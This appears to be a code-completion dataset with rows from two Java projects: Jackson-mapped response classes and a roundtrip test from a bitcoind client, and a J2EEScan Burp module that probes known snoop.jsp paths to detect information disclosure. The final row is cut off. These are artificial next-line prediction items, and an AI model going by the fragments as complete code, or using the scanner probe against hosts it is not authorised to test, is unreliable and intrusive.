repo_name
stringlengths 7
104
| file_path
stringlengths 13
198
| context
stringlengths 67
7.15k
| import_statement
stringlengths 16
4.43k
| code
stringlengths 40
6.98k
| prompt
stringlengths 227
8.27k
| next_line
stringlengths 8
795
|
---|---|---|---|---|---|---|
clanie/bitcoind-client | src/main/java/dk/clanie/bitcoin/client/response/GetTxOutResult.java | // Path: src/main/java/dk/clanie/bitcoin/ScriptPubKey.java
// @SuppressWarnings("serial")
// @RooJavaBean(settersByDefault = false)
// public class ScriptPubKey extends BaseClass {
//
// private String asm;
// private String hex;
// private Integer reqSigs;
// private String type;
// private List<String> addresses;
//
// }
//
// Path: src/main/java/dk/clanie/bitcoin/json/JsonExtra.java
// @SuppressWarnings("serial")
// @RooJavaBean(settersByDefault = false)
// public abstract class JsonExtra extends BaseClass {
//
// private Map<String, Object> otherFields = newHashMap();
//
// /**
// * Sets name and value of other (unknown) JSON fields.
// *
// * @param field
// * @param value
// */
// @JsonAnySetter
// @SuppressWarnings("unused") // Is used by Jackson
// private void set(String field, Object value) {
// otherFields.put(field, value);
// }
//
//
// /**
// * Gets names and values of all other (unknown) JSON fields.
// *
// * @return Names and values of other fields available.
// */
// @JsonAnyGetter
// public Map<String, Object> getOtherFields() {
// return Collections.unmodifiableMap(otherFields);
// }
//
//
// }
| import java.math.BigDecimal;
import org.springframework.roo.addon.javabean.RooJavaBean;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.annotation.JsonPropertyOrder;
import dk.clanie.bitcoin.ScriptPubKey;
import dk.clanie.bitcoin.json.JsonExtra; | /**
* Copyright (C) 2013, Claus Nielsen, [email protected]
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
package dk.clanie.bitcoin.client.response;
/**
* Data about a transaction output as returned by BitcoindClient's getTxOut method.
*
* @author Claus Nielsen
*/
@SuppressWarnings("serial")
@RooJavaBean(settersByDefault = false)
@JsonPropertyOrder({
"bestblock",
"confirmations",
"value",
"scriptPubKey",
"version",
"coinbase"
})
public class GetTxOutResult extends JsonExtra {
@JsonProperty("bestblock")
private String bestBlock;
private Integer confirmations;
private BigDecimal value; | // Path: src/main/java/dk/clanie/bitcoin/ScriptPubKey.java
// @SuppressWarnings("serial")
// @RooJavaBean(settersByDefault = false)
// public class ScriptPubKey extends BaseClass {
//
// private String asm;
// private String hex;
// private Integer reqSigs;
// private String type;
// private List<String> addresses;
//
// }
//
// Path: src/main/java/dk/clanie/bitcoin/json/JsonExtra.java
// @SuppressWarnings("serial")
// @RooJavaBean(settersByDefault = false)
// public abstract class JsonExtra extends BaseClass {
//
// private Map<String, Object> otherFields = newHashMap();
//
// /**
// * Sets name and value of other (unknown) JSON fields.
// *
// * @param field
// * @param value
// */
// @JsonAnySetter
// @SuppressWarnings("unused") // Is used by Jackson
// private void set(String field, Object value) {
// otherFields.put(field, value);
// }
//
//
// /**
// * Gets names and values of all other (unknown) JSON fields.
// *
// * @return Names and values of other fields available.
// */
// @JsonAnyGetter
// public Map<String, Object> getOtherFields() {
// return Collections.unmodifiableMap(otherFields);
// }
//
//
// }
// Path: src/main/java/dk/clanie/bitcoin/client/response/GetTxOutResult.java
import java.math.BigDecimal;
import org.springframework.roo.addon.javabean.RooJavaBean;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.annotation.JsonPropertyOrder;
import dk.clanie.bitcoin.ScriptPubKey;
import dk.clanie.bitcoin.json.JsonExtra;
/**
* Copyright (C) 2013, Claus Nielsen, [email protected]
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
package dk.clanie.bitcoin.client.response;
/**
* Data about a transaction output as returned by BitcoindClient's getTxOut method.
*
* @author Claus Nielsen
*/
@SuppressWarnings("serial")
@RooJavaBean(settersByDefault = false)
@JsonPropertyOrder({
"bestblock",
"confirmations",
"value",
"scriptPubKey",
"version",
"coinbase"
})
public class GetTxOutResult extends JsonExtra {
@JsonProperty("bestblock")
private String bestBlock;
private Integer confirmations;
private BigDecimal value; | private ScriptPubKey scriptPubKey; |
clanie/bitcoind-client | src/main/java/dk/clanie/bitcoin/client/response/GetInfoResult.java | // Path: src/main/java/dk/clanie/bitcoin/json/JsonExtra.java
// @SuppressWarnings("serial")
// @RooJavaBean(settersByDefault = false)
// public abstract class JsonExtra extends BaseClass {
//
// private Map<String, Object> otherFields = newHashMap();
//
// /**
// * Sets name and value of other (unknown) JSON fields.
// *
// * @param field
// * @param value
// */
// @JsonAnySetter
// @SuppressWarnings("unused") // Is used by Jackson
// private void set(String field, Object value) {
// otherFields.put(field, value);
// }
//
//
// /**
// * Gets names and values of all other (unknown) JSON fields.
// *
// * @return Names and values of other fields available.
// */
// @JsonAnyGetter
// public Map<String, Object> getOtherFields() {
// return Collections.unmodifiableMap(otherFields);
// }
//
//
// }
| import java.math.BigDecimal;
import java.util.Date;
import org.springframework.roo.addon.javabean.RooJavaBean;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.annotation.JsonPropertyOrder;
import dk.clanie.bitcoin.json.JsonExtra; | /**
* Copyright (C) 2013, Claus Nielsen, [email protected]
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
package dk.clanie.bitcoin.client.response;
/**
* Data returned by BitcoindClient's getInfo method.
*
* @author Claus Nielsen
*/
@SuppressWarnings("serial")
@RooJavaBean(settersByDefault = false)
@JsonPropertyOrder({
"version",
"protocolversion",
"walletversion",
"balance",
"blocks",
"connections",
"proxy",
"difficulty",
"testnet",
"keypoololdest",
"keypoolsize",
"paytxfee",
"errors",
"unlocked_until"
}) | // Path: src/main/java/dk/clanie/bitcoin/json/JsonExtra.java
// @SuppressWarnings("serial")
// @RooJavaBean(settersByDefault = false)
// public abstract class JsonExtra extends BaseClass {
//
// private Map<String, Object> otherFields = newHashMap();
//
// /**
// * Sets name and value of other (unknown) JSON fields.
// *
// * @param field
// * @param value
// */
// @JsonAnySetter
// @SuppressWarnings("unused") // Is used by Jackson
// private void set(String field, Object value) {
// otherFields.put(field, value);
// }
//
//
// /**
// * Gets names and values of all other (unknown) JSON fields.
// *
// * @return Names and values of other fields available.
// */
// @JsonAnyGetter
// public Map<String, Object> getOtherFields() {
// return Collections.unmodifiableMap(otherFields);
// }
//
//
// }
// Path: src/main/java/dk/clanie/bitcoin/client/response/GetInfoResult.java
import java.math.BigDecimal;
import java.util.Date;
import org.springframework.roo.addon.javabean.RooJavaBean;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.annotation.JsonPropertyOrder;
import dk.clanie.bitcoin.json.JsonExtra;
/**
* Copyright (C) 2013, Claus Nielsen, [email protected]
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
package dk.clanie.bitcoin.client.response;
/**
* Data returned by BitcoindClient's getInfo method.
*
* @author Claus Nielsen
*/
@SuppressWarnings("serial")
@RooJavaBean(settersByDefault = false)
@JsonPropertyOrder({
"version",
"protocolversion",
"walletversion",
"balance",
"blocks",
"connections",
"proxy",
"difficulty",
"testnet",
"keypoololdest",
"keypoolsize",
"paytxfee",
"errors",
"unlocked_until"
}) | public class GetInfoResult extends JsonExtra { |
clanie/bitcoind-client | src/test/java/dk/clanie/bitcoin/client/response/ResponseSerializationTest.java | // Path: src/main/java/dk/clanie/bitcoin/json/JsonExtra.java
// @SuppressWarnings("serial")
// @RooJavaBean(settersByDefault = false)
// public abstract class JsonExtra extends BaseClass {
//
// private Map<String, Object> otherFields = newHashMap();
//
// /**
// * Sets name and value of other (unknown) JSON fields.
// *
// * @param field
// * @param value
// */
// @JsonAnySetter
// @SuppressWarnings("unused") // Is used by Jackson
// private void set(String field, Object value) {
// otherFields.put(field, value);
// }
//
//
// /**
// * Gets names and values of all other (unknown) JSON fields.
// *
// * @return Names and values of other fields available.
// */
// @JsonAnyGetter
// public Map<String, Object> getOtherFields() {
// return Collections.unmodifiableMap(otherFields);
// }
//
//
// }
| import com.fasterxml.jackson.databind.ObjectMapper;
import dk.clanie.bitcoin.json.JsonExtra;
import dk.clanie.io.IOUtil;
import static org.hamcrest.Matchers.equalTo;
import static org.junit.Assert.assertThat;
import static org.junit.Assert.fail;
import java.io.File;
import java.util.List;
import java.util.Map;
import org.apache.commons.io.IOUtils;
import org.junit.Ignore;
import org.junit.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory; |
/**
* Perform serialization roundtrip testing of the given file.
*
* @param file
* - file with sample data in json format. The file name must
* follow a fixed format including the respons class name - see
* {@link #extractResponseClassName(File)}.
* @throws Exception
*/
private void doSerializationRoundtrip(File file) throws Exception {
log.debug("Testing deserialization of sample file " + file.getName() + ".");
String className = extractResponseClassName(file);
String jsonSample = IOUtils.toString(file.toURI());
@SuppressWarnings("unchecked")
Class<? extends BitcoindJsonRpcResponse<?>> responseType = (Class<? extends BitcoindJsonRpcResponse<?>>) Class.forName("dk.clanie.bitcoin.client.response." + className);
// Deserialize and re-serialize
log.debug("Deserializing " + jsonSample);
BitcoindJsonRpcResponse<?> response = objectMapper.readValue(jsonSample, responseType);
String roundtrippedJson = objectMapper.writeValueAsString(response);
assertThat("json -> obj -> json roundtrip serialization failed for " + file.getName() + ".", roundtrippedJson, equalTo(jsonSample));
// Check that all fields are explicitly mapped.
assertThat("Some fields in response not explicitly mapped (see otherFields): " + response.toString(), response.getOtherFields().size(), equalTo(0));
Object resultObject = response.getResult(); | // Path: src/main/java/dk/clanie/bitcoin/json/JsonExtra.java
// @SuppressWarnings("serial")
// @RooJavaBean(settersByDefault = false)
// public abstract class JsonExtra extends BaseClass {
//
// private Map<String, Object> otherFields = newHashMap();
//
// /**
// * Sets name and value of other (unknown) JSON fields.
// *
// * @param field
// * @param value
// */
// @JsonAnySetter
// @SuppressWarnings("unused") // Is used by Jackson
// private void set(String field, Object value) {
// otherFields.put(field, value);
// }
//
//
// /**
// * Gets names and values of all other (unknown) JSON fields.
// *
// * @return Names and values of other fields available.
// */
// @JsonAnyGetter
// public Map<String, Object> getOtherFields() {
// return Collections.unmodifiableMap(otherFields);
// }
//
//
// }
// Path: src/test/java/dk/clanie/bitcoin/client/response/ResponseSerializationTest.java
import com.fasterxml.jackson.databind.ObjectMapper;
import dk.clanie.bitcoin.json.JsonExtra;
import dk.clanie.io.IOUtil;
import static org.hamcrest.Matchers.equalTo;
import static org.junit.Assert.assertThat;
import static org.junit.Assert.fail;
import java.io.File;
import java.util.List;
import java.util.Map;
import org.apache.commons.io.IOUtils;
import org.junit.Ignore;
import org.junit.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* Perform serialization roundtrip testing of the given file.
*
* @param file
* - file with sample data in json format. The file name must
* follow a fixed format including the respons class name - see
* {@link #extractResponseClassName(File)}.
* @throws Exception
*/
private void doSerializationRoundtrip(File file) throws Exception {
log.debug("Testing deserialization of sample file " + file.getName() + ".");
String className = extractResponseClassName(file);
String jsonSample = IOUtils.toString(file.toURI());
@SuppressWarnings("unchecked")
Class<? extends BitcoindJsonRpcResponse<?>> responseType = (Class<? extends BitcoindJsonRpcResponse<?>>) Class.forName("dk.clanie.bitcoin.client.response." + className);
// Deserialize and re-serialize
log.debug("Deserializing " + jsonSample);
BitcoindJsonRpcResponse<?> response = objectMapper.readValue(jsonSample, responseType);
String roundtrippedJson = objectMapper.writeValueAsString(response);
assertThat("json -> obj -> json roundtrip serialization failed for " + file.getName() + ".", roundtrippedJson, equalTo(jsonSample));
// Check that all fields are explicitly mapped.
assertThat("Some fields in response not explicitly mapped (see otherFields): " + response.toString(), response.getOtherFields().size(), equalTo(0));
Object resultObject = response.getResult(); | if (resultObject instanceof JsonExtra) { |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/SnoopResource.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | int port = url.getPort();
String system = host.concat(Integer.toString(port));
/**
* Attempt on the web root
*
* http://www.example.com/snoop.jsp
*/
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String SNOOP_PATH : SNOOP_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SNOOP_PATH);
byte[] snoopTest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, snoopTest);
IResponseInfo snoopInfo = helpers.analyzeResponse(response);
// look for matches of our active check grep string | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/SnoopResource.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
int port = url.getPort();
String system = host.concat(Integer.toString(port));
/**
* Attempt on the web root
*
* http://www.example.com/snoop.jsp
*/
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String SNOOP_PATH : SNOOP_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SNOOP_PATH);
byte[] snoopTest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, snoopTest);
IResponseInfo snoopInfo = helpers.analyzeResponse(response);
// look for matches of our active check grep string | List<int[]> matches = getMatches(response, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/SnoopResource.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; |
/**
* Attempt on the web root
*
* http://www.example.com/snoop.jsp
*/
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String SNOOP_PATH : SNOOP_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SNOOP_PATH);
byte[] snoopTest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, snoopTest);
IResponseInfo snoopInfo = helpers.analyzeResponse(response);
// look for matches of our active check grep string
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if ((matches.size() > 0) && (snoopInfo.getStatusCode() == 200)) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/SnoopResource.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
/**
* Attempt on the web root
*
* http://www.example.com/snoop.jsp
*/
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String SNOOP_PATH : SNOOP_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SNOOP_PATH);
byte[] snoopTest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, snoopTest);
IResponseInfo snoopInfo = helpers.analyzeResponse(response);
// look for matches of our active check grep string
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if ((matches.size() > 0) && (snoopInfo.getStatusCode() == 200)) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/SnoopResource.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
